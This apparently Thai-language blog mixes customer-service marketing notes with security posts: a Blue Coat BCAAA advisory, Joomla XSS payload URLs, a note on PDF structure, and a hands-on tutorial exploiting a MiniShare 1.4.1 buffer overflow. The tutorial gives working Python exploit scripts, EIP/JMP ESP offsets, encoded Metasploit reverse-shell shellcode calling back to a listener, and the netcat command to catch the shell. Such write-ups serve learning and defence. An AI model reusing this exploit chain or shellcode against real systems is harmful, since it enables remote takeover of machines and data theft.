วันพฤหัสบดีที่ 20 กันยายน พ.ศ. 2555

การบริหารการรักษาลูกค้า ตอนที่ 1

การบริหารการรักษาลูกค้า(Customer Retention Management)

การตลาดที่ผ่านมามักจะเน้นหนักถึงการเจาะและเข้าถึงลูกค้าใหม่ ๆ มากกว่าการรักษาลูกค้าปัจจุบันให้คงอยู่   และมุ่งเน้นการขาย   การเสนอขายมากกว่าบริการหรือการติดตามในภายหลัง       ขณะเดียวกันองค์กรการตลาดยุคใหม่จำนวนมากที่ให้ความสำคัญต่อการรักษาและสร้างสัมพันธภาพในระยะยาว       ทั้งนี้ด้วยจุดมุ่งหมายคือการทำให้ลูกค้ามีความพอใจนั่นเอง
 
นิสัยพื้นฐานของมนุษย์(ลูกค้า)
  1. ไม่ชอบให้ใครตำหนิ และโต้เถียง
  2. อยากมีชื่อเสียงเป็นที่ยอมรับ
  3. สนใจตนเองมากกว่าสนใจผู้อื่น
  4. ชอบคนยิ้มแย้มแจ่มใสมากกว่าหน้าบึ้ง
  5. ต้องการให้ผู้อื่นฟังเมื่อตนพูดและรับฟังความคิดเห็นของตน
  6. ชอบให้ผู้อื่นพูดเรื่องที่ตนเองสนใจ
ได้มีการแบ่งประเภทของลูกค้าได้ 8 ประเภทดังนี้
  1. เรือเกลือ ,ตัดสินใจช้า ผู้ให้บริการต้องใจเย็น ค่อย ๆ อธิบายให้ลูกค้าเห็นคุณค่าของสินค้า เพื่อจูงใจไปสู่การตัดสินใจซื้อสินค้า
  2. เรือเร็ว ,ตัดสินใจเร็ว ผู้ให้บริการต้องเตรียมพร้อม ต้องรู้จักกาละเทศะ ต้องดูสถานการณ์ให้ดีว่าลูกค้าต้องการให้เราเข้าไปแนะนำสินค้าหรือไม่
  3. เรือรบ ,เขื่อมั่นในตัวเอง ผู้ให้บริการต้องมีสติ ทำถูกขั้นตอนบริการ ต้องมีความมั่นใจและแสดงความเป็นมืออาชีพให้ลูกค้าเห็น
  4. เรือตะเวน ,ชอบชัก เจ้าปัญหา ผู้ให้บริการต้องมีข้อมูลดี รู้คู่แข่งดี สามารถเปรียบเทียบสินค้า และแสดงจุดเด่นของสินค้า อธิบายให้ลูกค้าได้
  5. เรือบด ,โลเล ไม่กล้าตัดสินใจ ผู้ให้บริการต้องช่วยเขาตัดสินใจ แนะนำสินค้าที่เหมาะกับความต้องการของลูกค้ามากที่สุด
  6. เรือพาย ,เงียบลูกเดียว ชอบฟัง ผู้ให้บริการต้องแสดงความเป็นมิตร แนะนำสินค้าหลาย ๆ อย่าง ให้ลูกค้าเป็นคนตัดสินใจ
  7. เรือหางยาว ,ชอบคุยเสียงดัง  ผู้ให้บริการต้องฟัง จับประเด็นให้ดี เพื่อนำเสนอสินค้าให้เหมาะกับความต้องการได้ และพยายามปิดการขายโดยเร็ว
  8. เรือโดยสาร .ต้องการมาตรฐาน ประเภทนี้เป็นลูกค้าปกติทั่วไป ผู้ให้บริการต้องมีมาตรฐานสินค้าและบริการ ที่จะสามารถอธิบายให้ลูกค้ามั่นใจในสินค้าได้อย่างชัดเจน
การบริการ(Service)

คือ พฤติกรรม,กิจกรรม,กระบวนการ หรือการกระทำที่บุคคลหนึ่งทำให้ หรือส่งมอบต่ออีกบุคคลหนึ่ง โดย มีเป้าหมาย และ มีความตั้งใจในการส่งมอบ นั้นๆในทุกจุดสัมผัสของการให้บริการ

Touch Point(จุดสัมผัสในการบริการ)

Touch Point ที่ว่านั้นก็คือช่องทางต่างๆ มากมายที่ผู้บริโภคจะสามารถการเข้าถึงข้อมูล และเราก็สามารถเข้าถึงตัวผู้บริโภคได้โดยตรงเช่นกัน ตัวอย่างก็น่าจะเป็นการพบปะพูดคุยแบบ ตัวต่อตัว Meeting หรือโทรศัพท์ติดต่อเพื่อเก็บข้อมูลรายละเอียดเพิ่มเติมของผู้บริโภค สิ่งที่จะได้มาคือทัศนคติของผู้บริโภคที่จะนำมาปรับเปลี่ยนกลยุทธ์การตลาด ให้ตรงกับลูกค้า Touch Point แบ่งได้เป็น 2 ประเภทคือ
  1. Human Touch Point คือ การที่ลูกค้าสัมผัสบรการโดย พนักงาน หรือ ตัวแทนของบริษัท
  2. Non  Human Touch Point คือ การที่ลูกค้าสัมผัสบริการโดยผ่าน ระบบหรือ อุปกรณ์ ที่ไม่ใช่พนักงาน  ช่องทางที่ได้ประสิทธิภาพมากที่สุดนั้นก็คงเป็นเครือข่ายสังคมออนไลน์ หรือ Social Network อย่าง Facebook, Twitter และ Google+ เพื่อเป็นเครื่องมือในการนำบทสนทนา และ Comment มากมายมาใช้เป็นแหล่งอ้างอิงในการหาประเมิน และหาข้อมูลสำหรับทำ Brand Mornitoring

แนวคิดการบริการเชิงรุกมุ่งสร้างความพอใน...เกินคาดโดยส่งมอบ 

"WoW Experience" แก่ลูกค้า

ลูกค้าถูกต้องเสมอ ลูกค้า คือ บุคคลที่สำคัญที่สุด

เป็นการเติมเต็มในส่วนที่ขาดของกันและกัน

 

วันเสาร์ที่ 9 กรกฎาคม พ.ศ. 2554

Blue Coat BCAAA Remote Code Execution

The software referred to as BCAAA (Blue Coat Authentication and Authorization Agent) is installed on a domain server (not necessarily a domain controller, a member server is enough) and acts as an intermediary between a Blue Coat ProxySG and the domain. The BCAAA Windows Service is vulnerable to a stack-based buffer overflow, this can lead to remote code execution running with SYSTEM privileges. Affected are all versions of BCAAA associated with ProxySG releases 4.2.3, 4.3, 5.2, 5.3, 5.4, 5.5, and 6.1 available prior to April 21, 2011 or with a build number less than 60258. All versions of BCAAA associated with ProxyOne are also vulnerable.

Summary

Name: Blue Coat BCAAA Remote Code Execution Vulnerability
Release Date:  5 July 2011
Reference: NGS00060
Discoverer: Paul Harrington <paul.harrington@ngssecure.com>
Vendor: Blue Coat Systems Inc
Vendor Reference: 2-358686722
Systems Affected: All versions of BCAAA associated with ProxySG releases 4.2.3, 4.3, 5.2, 5.3, 5.4, 5.5, and 6.1 available prior to April 21, 2011 or with a build number less than 60258. All versions of BCAAA associated with ProxyOne are also vulnerable
Risk: High
Status: Published


TimeLine

Discovered: 10 March 2011
Released: 10 March 2011
Approved: 10 March 2011
Reported: 11 March 2011
Fixed:  4 April 2011
Published:  5 July 2011

Description

The software referred to as BCAAA (Blue Coat Authentication and Authorization Agent) is installed on a domain server (not necessarily a domain controller, a member server is enough) and acts as an intermediary between a Blue Coat ProxySG and the domain.
The BCAAA Windows Service is vulnerable to a stack-based buffer overflow, this can lead to remote code execution running with SYSTEM privileges.

Technical Details
Sending a large buffer to TCP port 16102 causes a stack-based buffer overflow in the bcaaa-130.exe process.

Fix Information

Patches can be downloaded from the Bluecoat Knowledge Base:

https://kb.bluecoat.com/index?page=content&id=SA55


NGS Secure Research
http://www.ngssecure.com

วันพุธที่ 6 กรกฎาคม พ.ศ. 2554

Stack Based Windows Buffer Overflow ภาคปฏิบัติ

เราจะมาลองทำการ exploits หรือการเข้าใช้อะไรซักอย่างจาก ช่องโหว่(vulnerabilities) ดูว่ามันมีการทำงานกันอย่างไร ซึ่งเทคนิคที่ใช้ในการ exploits มักจะเกี่ยวกับการเข้าใช้งาน Memory โดยเทคนิคต่างๆ เช่น
  • Buffer OverFlow
  • Heap Spray
เดี๋ยวจะมาลองดูกันว่ามันเป็นอย่างไร ซึ่งฟังดูอาจจะไม่ค่อยเข้าใจ รู้แต่ว่ามันทำอย่างนี้แล้ว Hacker สามารถยึดเครื่องเราได้แล้ว แล้วจริงๆแล้วมันทำได้อย่างไร ถ้าอยากรู้ก็ต้องลอง งั้นลองเลยดีกว่าจะได้รู้เท่าทัน Hacker

สิ่งที่ต้องเตรียมในการทดสอบครั้งนี้
ที่เครื่องเป้าหมาย
  • OS : Windows XP
  • MiniShare 1.4.1 เป็นโปรแกรมใช้แชร์ไฟล์ผ่าน HTTP
  • OllyDbg 1.10 เราจะใช้โปรแกรมทำการดีบัก
เครื่องที่จะโจมตีผมจะใช้ BackTrack 5 ซึ่งมีเครื่องมือให้เราครบแล้ว

เริ่มด้วยการติดตั้ง MiniShare ก่อน



และเปิดโปรแกรมขึ้นมา เมื่อ netstat -na ดูจะเห็นว่ามี Port 80 ถูกเปิด listening อยู่



ให้เปิดโปรแกรม OllyDbg และ File->attach แล้วเลือก
ซึ่งหน้าต่างแต่ละหน้าจะแสดงข้อมูลดังนี้


ก่อนทื่จะ exploits เราจะต้องรู้ว่ามีช่องโหว่อะไรและรายละเอืยดต่างๆเกี่ยวกับช่องโหว่นั้น โดยตรวจสอบที่ security advisory ซึ่งทำให้เรารู้ว่า minishare มีช่องโหว่ที่ HTTP "GET" requests ซึ่งสามารถทำให้เกิด Buffer Overflow ได้และรู้ว่ามีผลกับเวอร์ชั่นไหนบ้าง เราสามารถรู้ได้ว่าจะ exploits อย่างไรโดยดูที่ เว็บซึ่งมีโค๊ดที่ใช้ในการ exploits นั้น เช่น http://www.exploit-db.com/exploits/636 สำหรับ minishare

ต่อมาเราจะมาดูว่ารูปแบบมาตรฐานของ HTTT โดยตรวจสอบที่เอกสาร RFC หรือ capture packet จะพบว่า HTTP Request เริ่มด้วย  "GET / HTTP/1.1" และปิดท้ายด้วย 2 new line,carriage return(\r\n\r\n)

เราจะทำการแก้ไข request นี้และจะส่งให้ minishare ดังนี้

"GET [long string of A characters] HTTP/1.1[new_line, carriage_return x 2]"

Python Script

#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET " + "\x41" * 2220 + " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

x41 คือ ตัวอักษร "A" ใน ascii
เปลี่ยน permission ของ script ให้สามารถรันได้ chmod +x minishart.py
ที่โปรแกรมดีบักหากสถานะยังเป็น Paused ให้เปลี่ยนเป็นรันโดยกด F9 และทำการรัน script





จะเห็นว่า register EIP มีค่า 41414141 แสดงว่าค่าที่เราส่งไปเข้าไปเขียนทับเมมโมรี่ในส่วนของโปรแกรม EIP คือ register ที่จะเก็บ address ที่ CPU จะไปทำงาน ในที่นี้เราให้ EIP ชี้ไปที่ตำแหน่งที่มีคำสั่ง JMP ESP เพื่อให้ CPU โดดไปทำงานใน ESP register คือ address stack pointer

การหา JMP ESP เราจะหาใน DLL ซึ่งถูกโหลดขึ้นมาเพื่อใช้งานของโปรแกรม ให้ไปที่ View->Executable Modules คลิกขวาที่ SHELL32.DLL เลือก View code in CPU




เลือก Search for -> Command









จากตัวอย่าง คำสั่ง JMP ESP อยู่ที่ memory address 7C9D30D7 ของ shell32.dll เราจะนำ address นี้ไปแทน address ใน EIP ดังนั้นต่อมาเราต้องหาตำแหน่งของ EIP ใน buffer ที่เราส่งไปแล้วเพื่อจะนำ address คำสั่ง JMS ESP มาใส่แทน รวมทั้งตำแหน่งของ ESP เพื่อที่จะนำโค๊ดโปรแกรมของเรามาใส่เพื่อให้ มาทำงานที่โปรแกรม เราจะใช้ Metasploit framework ซึ่งมีเครื่องมือที่จะช่วยคือ pattern_create.rb



เมื่อได้ pattern มาแล้วก็ แก้ไขโปรแกรมของเรา

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer = "GET "
buffer+= ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa....Cv4Cv5Cv6Cv7Cv8Cv9")
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

 เมื่อเราดีบั๊กใหม่และทำการรันโปรแกรมจะได้


จะเห็นได้ว่า EIP เราชี้ไปที่ 36684335 และ ESP มีข้อมูล "Ch7C" เพื่อจะนำมาหา offsets โดยใช้เครื่องมือของ Metasploit framework เช่นเดิม

/pentest/exploits/framework3/tools$ ./pattern_offset.rb 36684335
/pentest/exploits/framework3/tools$ ./pattern_offset.rb Ch7C

ก็จะได้ค่าตามรูป


EIP คือตำแหน่งที่ 1787 ใน Buffer ของเรา และ ESP คือ ตำแหน่งที่ 1791 ใน buffer เรา ทำการตรวจสอบว่าถูกต้องไหมโดยแก้ไขโปรแกรมและลองรันใหม่

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x41\x41\x41\x41" # EIP Should be overwritten here
buffer+= "\x90" * (1791 - len(buffer))
buffer+= "\xcc" * (2220 - len(buffer)) # ESP should point here
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()


จะเห็นว่า EIP มีค่า 41414141 และ ค่าใน Stack เป็น C หมด ...ถูกต้องแล้ว
คราวนี้เราก็นำ Address ที่เราต้องการให้ไปทำมาใส่แทนได้แล้ว โดย Address นั้นเราต้องนึกถึงเรื่อง significant byte ด้วยรายละเอียดลองไปหาอ่านกันเองนะครับ  Address ที่เราต้องการใส่แทนคือ 7C9D30D7 ดังนั้นในโปรแกรมเราต้องใส่แแบบนี้ D7,30,9D,7C แก้โปรแกรมกันต่อ

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\xD7\x30\x9D\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7C9D30D7.
buffer+= "\xcc" * (2220 - len(buffer)) # ESP points here.
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

restart และรันดีบั๊กอีกครั้ง และครั้งนี้เราจะกำหนด breakpoint ด้วยเพื่อจะหยุดดูโปรแกรมทำงานตรงตำแหน่ง 7C9D30D7 ซึ่งมีคำสั่ง JMP ESP โดยคลิกขวาที่หน้าต่าง CPU แล้วเลือก Go to->Expression และเลือกแถวที่ JMP ESP แล้วกด F2


มาถูกทางแล้วครับ ต่อไปเราก็จะนำ shellcode มาใส่ และในโค๊ดเราต้องไม่มี  \x00, \x0a, or \x0d  การสร้าง shellcode จะใช้ Metasploit framework เช่นเดิม

user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 C
/*
* windows/shell_reverse_tcp - 314 bytes
* http://www.metasploit.com
* LHOST=192.168.20.11, EXITFUNC=process, LPORT=443,
* ReverseConnectRetries=5
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\xc0\xa8\x14\x0b\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

จะเห็นว่า มี x00, \x0a and \x0d  เราต้องแก้ไขโดย raw "R" output และ pipe ไปให้ msfencode  ใช้ X86 architecture แปลง output เป็น c style format

user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -t c
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)

unsigned char buf[] =
"\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23"
"\x27\x31\x50\x1a\x83\xe8\xfc\x03\x50\x16\xe2\xd9\x64\xcb\xae"
"\x21\x95\x0c\xd1\xa8\x70\x3d\xc3\xce\xf1\x6c\xd3\x85\x54\x9d"
"\x98\xcb\x4c\x16\xec\xc3\x63\x9f\x5b\x35\x4d\x20\x6a\xf9\x01"
"\xe2\xec\x85\x5b\x37\xcf\xb4\x93\x4a\x0e\xf1\xce\xa5\x42\xaa"
"\x85\x14\x73\xdf\xd8\xa4\x72\x0f\x57\x94\x0c\x2a\xa8\x61\xa7"
"\x35\xf9\xda\xbc\x7d\xe1\x51\x9a\x5d\x10\xb5\xf8\xa1\x5b\xb2"
"\xcb\x52\x5a\x12\x02\x9b\x6c\x5a\xc9\xa2\x40\x57\x13\xe3\x67"
"\x88\x66\x1f\x94\x35\x71\xe4\xe6\xe1\xf4\xf8\x41\x61\xae\xd8"
"\x70\xa6\x29\xab\x7f\x03\x3d\xf3\x63\x92\x92\x88\x98\x1f\x15"
"\x5e\x29\x5b\x32\x7a\x71\x3f\x5b\xdb\xdf\xee\x64\x3b\x87\x4f"
"\xc1\x30\x2a\x9b\x73\x1b\x23\x68\x4e\xa3\xb3\xe6\xd9\xd0\x81"
"\xa9\x71\x7e\xaa\x22\x5c\x79\xcd\x18\x18\x15\x30\xa3\x59\x3c"
"\xf7\xf7\x09\x56\xde\x77\xc2\xa6\xdf\xad\x45\xf6\x4f\x1e\x26"
"\xa6\x2f\xce\xce\xac\xbf\x31\xee\xcf\x15\x44\x28\x47\x56\xff"
"\xa3\x9c\x3e\x02\xcc\xa3\x05\x8b\x2a\xc9\x69\xda\xe5\x65\x13"
"\x47\x7d\x14\xdc\x5d\x16\xb5\x4f\x3a\xe7\xb0\x73\x95\xb0\x95"
"\x42\xec\x55\x0b\xfc\x46\x48\xd6\x98\xa1\xc8\x0c\x59\x2f\xd0"
"\xc1\xe5\x0b\xc2\x1f\xe5\x17\xb6\xcf\xb0\xc1\x60\xa9\x6a\xa0"
"\xda\x63\xc0\x6a\x8b\xf2\x2a\xad\xcd\xfb\x66\x5b\x31\x4d\xdf"
"\x1a\x4d\x61\xb7\xaa\x36\x9c\x27\x54\xed\x25\x57\x1f\xac\x0f"
"\xf0\xc6\x24\x12\x9d\xf8\x92\x50\x98\x7a\x17\x28\x5f\x62\x52"
"\x2d\x1b\x24\x8e\x5f\x34\xc1\xb0\xcc\x35\xc0\xbb";

นำมาใส่โปรแกรมของเรา

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.
# msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -t c - x86/shikata_ga_nai 342 bytes
buffer+= "\x90" * 16
buffer+= ("\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23"
"\x27\x31\x50\x1a\x83\xe8\xfc\x03\x50\x16\xe2\xd9\x64\xcb\xae"
"\x21\x95\x0c\xd1\xa8\x70\x3d\xc3\xce\xf1\x6c\xd3\x85\x54\x9d"
"\x98\xcb\x4c\x16\xec\xc3\x63\x9f\x5b\x35\x4d\x20\x6a\xf9\x01"
"\xe2\xec\x85\x5b\x37\xcf\xb4\x93\x4a\x0e\xf1\xce\xa5\x42\xaa"
"\x85\x14\x73\xdf\xd8\xa4\x72\x0f\x57\x94\x0c\x2a\xa8\x61\xa7"
"\x35\xf9\xda\xbc\x7d\xe1\x51\x9a\x5d\x10\xb5\xf8\xa1\x5b\xb2"
"\xcb\x52\x5a\x12\x02\x9b\x6c\x5a\xc9\xa2\x40\x57\x13\xe3\x67"
"\x88\x66\x1f\x94\x35\x71\xe4\xe6\xe1\xf4\xf8\x41\x61\xae\xd8"
"\x70\xa6\x29\xab\x7f\x03\x3d\xf3\x63\x92\x92\x88\x98\x1f\x15"
"\x5e\x29\x5b\x32\x7a\x71\x3f\x5b\xdb\xdf\xee\x64\x3b\x87\x4f"
"\xc1\x30\x2a\x9b\x73\x1b\x23\x68\x4e\xa3\xb3\xe6\xd9\xd0\x81"
"\xa9\x71\x7e\xaa\x22\x5c\x79\xcd\x18\x18\x15\x30\xa3\x59\x3c"
"\xf7\xf7\x09\x56\xde\x77\xc2\xa6\xdf\xad\x45\xf6\x4f\x1e\x26"
"\xa6\x2f\xce\xce\xac\xbf\x31\xee\xcf\x15\x44\x28\x47\x56\xff"
"\xa3\x9c\x3e\x02\xcc\xa3\x05\x8b\x2a\xc9\x69\xda\xe5\x65\x13"
"\x47\x7d\x14\xdc\x5d\x16\xb5\x4f\x3a\xe7\xb0\x73\x95\xb0\x95"
"\x42\xec\x55\x0b\xfc\x46\x48\xd6\x98\xa1\xc8\x0c\x59\x2f\xd0"
"\xc1\xe5\x0b\xc2\x1f\xe5\x17\xb6\xcf\xb0\xc1\x60\xa9\x6a\xa0"
"\xda\x63\xc0\x6a\x8b\xf2\x2a\xad\xcd\xfb\x66\x5b\x31\x4d\xdf"
"\x1a\x4d\x61\xb7\xaa\x36\x9c\x27\x54\xed\x25\x57\x1f\xac\x0f"
"\xf0\xc6\x24\x12\x9d\xf8\x92\x50\x98\x7a\x17\x28\x5f\x62\x52"
"\x2d\x1b\x24\x8e\x5f\x34\xc1\xb0\xcc\x35\xc0\xbb")
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

ต้องใส่ NOP เข้าไปก่อน shellcode เพื่อความเสถียรของ shellcode
ในการทดสอบเราจะต้องเปิด listener รอ ที่ port 443 หรือ อื่นๆ

root@bt4pf:~# nc -nvvlp 443
listening on [any] 443 ...


เรียบร้อยครับ เสร็จเรา

วันศุกร์ที่ 1 กรกฎาคม พ.ศ. 2554

[In]Secure Magazine June 2001

หนังสือ Security ดีๆแจกฟรีครับ



  • Microsoft's Enhanced Mitigation Experience Toolkit

  • Transaction monitoring as an issuer fraud risk management technique in the banking card payment system

  • IPv6: Saviour and threat

  • The hard truth about mobile application security: Separating hype from reality

  • Don't fear the auditor

  • Book review: Kingpin

  • Secure mobile platforms: CISOs faced with new strategies

  • Security needs to be unified, simplified and proactive

  • Whose computer is it anyway?

  • 10 golden rules of information security

  • The token is dead

  • Book review: IPv6 for Enterprise Networks

  • Cyber security revisited: Change from the ground up?


  • ดาว์นโหลดที่นี่

    Cyber criminals moving operations to Canada

    Cyber criminals moving operations to Canada

    Cyber criminals are on the move again and, this time, Canada is the prime target. IP addresses in China and Eastern Europe are highly scrutinized and undergoing intense evaluation so attackers are on a quest to move their networks to countries that have better cyber reputations, according to Websense

    Here's a heat map showing physical locations of Canadian servers hosting malicious content (May 2011):

    วันอังคารที่ 28 มิถุนายน พ.ศ. 2554

    Joomla! 1.6.3 and lower | Multiple Cross Site Scripting (XSS) Vulnerabilities

    Joomla คือ CMS ฟรีตัวหนึ่งที่เป็นที่นิยม Joomla เขียนด้วย PHP โดยใช้เทคนิค OOP(object-oriented programming) และ software design patterns โดยเก็บข้อมูลด้วย Mysql ซึ่งมี features ต่างๆเช่น RSS feeds,
    printable versions of pages, news flashes, blogs, polls, search และยังสนับสนุนภาษาต่างๆมากมายรวมทั้งภาษาไทยด้วย

    VULNERABILITY DESCRIPTION
     พารามิเตอร์หลายๆตัว เช่น QueryString, option, searchword ในคอมโพเนนซ์หลัก เช่น com_content, com_contact, com_newsfeeds, com_search ซึ่งใช้งานผ่าน URL /index.php ซึ่งจะยอมให้ Attacker โจมตีด้วย Cross Site Scriptingได้ ซึ่งอาจจะยอมให้มีการรัน script ที่ิ brower ของเครื่องเป้าหมายได้

    เวอร์ชั่นที่มีผล คือ 1.6.3 หรือต่ำกว่า

    EXPLOIT
     component: com_contact , parameter: QueryString (Browser: All)
    ===============================================================
     http://attacker.in/joomla163_noseo/index.php?option=com_contact&view=category&catid=26&id=36&Itemid=-1"><script>alert(/XSS/)</script>


    component:com_content , parameter: QueryString (Browser: All)
    ===============================================================
    http://attacker.in/joomla163_noseo/index.php?option=com_content&view=category&id=19&Itemid=260&limit=10&filter_order_Dir=&limitstart=&filter_order=><script>alert(/XSS/)</script>

    component: com_newsfeeds , parameter: QueryString (Browser: All)
    =================================================================
    http://attacker.in/joomla163_noseo/index.php?option=com_newsfeeds&view=category&id=17&whateverehere="><script>alert(/XSS/)</script>&Itemid=253&limit=10&filter_order_Dir=ASC&filter_order=ordering

    parameter: option (Browser: All)
    ====================================
    http://attacker.in/joomla163_noseo/index.php?option="><script>alert(/XSS/)</script>&task=reset.request

     ผลกระทบ คือ ผู้โจมตีสามารถเข้าใช้สิทธิเป็น administrator ได้ ซึ่งจะทำอะไรได้ทั้งหมดเทียบเท่า administrator

     แก้ไขได้โดยอัพเกรดเป็นเวอร์ชั่น 1.6.4

    ผู้ค้นพบ
    This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
    Ethical Hacker Group, Myanmar.


    2011-05-26: notified vendor
    2011-06-28: vendor released fix
    2011-06-28: vulnerability disclosed

    โครงสร้าง PDF File

    ตัวอย่าง Hello Word.pdf ใน text editor

     ซึ่งประกอบไปด้วย
    • Header
    • Objects ต่างๆ
    • Cross reference table
    • และ trailer
    ในที่นี้เราจะอธิบาย physical structure ของไฟล์ pdf นี้ ในส่วนของ Header จะบอกว่าเป็น Pdf version ไหน Trailer จะบอก ตำแหน่งของจุดเริ่มตั้นของ cross reference table ซึ่งในที่นี้ก็คือ ไบต์ที่ 642 cross reference จะบอกถึงตำแหน่งไบต์ของแต่ละออปเจ็ค คือ ออปเจ็ค 1 ถึง 7  ในที่นี้ ไบต์ที่ 12 ถึง 518 แต่ละออปเจ็ตจะเรียงลำดับกันมาคือ 1,2,3,4,5,6,7
         Logical structure ของ pdf ไฟล์จะเป็นแบบลำดับชั้น root ออปเจ็คจะถูกประกาศไว้ใน trailer ออปเจ็ค 1 คือ root ออปเจ็ค 2 และ 3 คือ ออปเจ็คลูกของออปเจ็ค 1(root) ออปเจ็ค 4 เป็นลูกของออปเจ็ค 3 ตามรูป และให้ดูในโค๊ดประกอบเพื่อให้เข้าใจง่ายขึ้น

          physical structure ออปเจ็คแต่ละออปเจ็คสามารถเปลี่ยนรูปแบบโครงสร้างได้โดย logical structure ไม่มีการเปลี่ยนแปลง ดูตัวอย่าง


        โดย cross reference จะมีการอัพเดตเพราะออปเจ็คมีการเปลี่ยนตำแหน่ง แต่โครงสร้างแบบ logical จะไม่มีการเปลี่ยนแปลงซึ่งทำให้การแสดงผลของทั้งสองไฟล์เหมือนกันทุกประการ จะเห็นได้ว่าเราสามารถเปลี่ยนรูปแบบ pdf ไฟล์ในแบบ physical โดยที่ยังคงมีการแสดงผลในแบบเดิมได้ ซึ่งเราสามารถที่จะนำโค๊ดที่อาจเป็นอันตรายกับเครื่องเราใส่เข้าไปในไฟล์ PDF นั้น เมื่อเปิดไฟล์ PDF ก็จะรันโค๊ดดังกล่าวทันที
    ที่มา: http://blog.didierstevens.com